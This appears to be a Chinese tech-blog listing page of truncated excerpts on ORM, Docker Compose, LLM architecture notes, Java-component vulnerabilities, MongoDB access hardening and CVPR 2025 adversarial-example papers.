对象关系映射&#xff08;ORM&#xff09;深度解析&#xff1a;原理、优势与应用场景 一、什么是ORM&#xff1f; ORM&#xff08;Object-Relational Mapping&#xff09;即对象关系映射&#xff0c;是一种将面向对象编程中的对象与关系型数据库中的表进行映射的技术。简单来…...

【Docker系列五】Docker Compose 简介

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…...

大语言模型-2.2/3-主流模型架构与新型架构

简介 本博客内容是《大语言模型》一书的读书笔记&#xff0c;该书是中国人民大学高瓴人工智能学院赵鑫教授团队出品&#xff0c;覆盖大语言模型训练与使用的全流程&#xff0c;从预训练到微调与对齐&#xff0c;从使用技术到评测应用&#xff0c;帮助学员全面掌握大语言模型的…...

JAVA组件的利用漏洞 Shlr搜索引擎 shiro身份 Log4j日志

solr组件 1、作用 &#xff1a; 基于http和apache lucene 进行全文搜索服务器 2、识别&#xff1a; 第一个就是图标类似于华为的那个 然后就是端口标识是 8983 3、CVE利用&#xff1a; 1、命令执行&#xff08;CVE-2019-17558&#xff09; Apache Solr 5.0.0版本至8…...

MongoDB未授权访问漏洞

1、连接MongoDB&#xff0c;添加账号密码 mongo 127.0.0.1 use admindb.createUser({user: admin,pwd: MongoDB123%.com,roles:[{role: root,db: admin}] })创建admin用户&#xff0c;密码为&#xff1a;MongoDB123%.com 2、设置完成&#xff0c;可以通过指令 show users 查看…...

CVPR2025 | 对抗样本智能安全方向论文汇总 | 持续更新中~

汇总结果来源&#xff1a;CVPR 2025 Accepted Papers 若文中出现的 论文链接 和 GitHub链接 点不开&#xff0c;则说明还未公布&#xff0c;在公布后笔者会及时添加. 若笔者未及时添加&#xff0c;欢迎读者告知. 文章根据题目关键词搜索&#xff0c;可能会有遗漏. 若笔者出现…...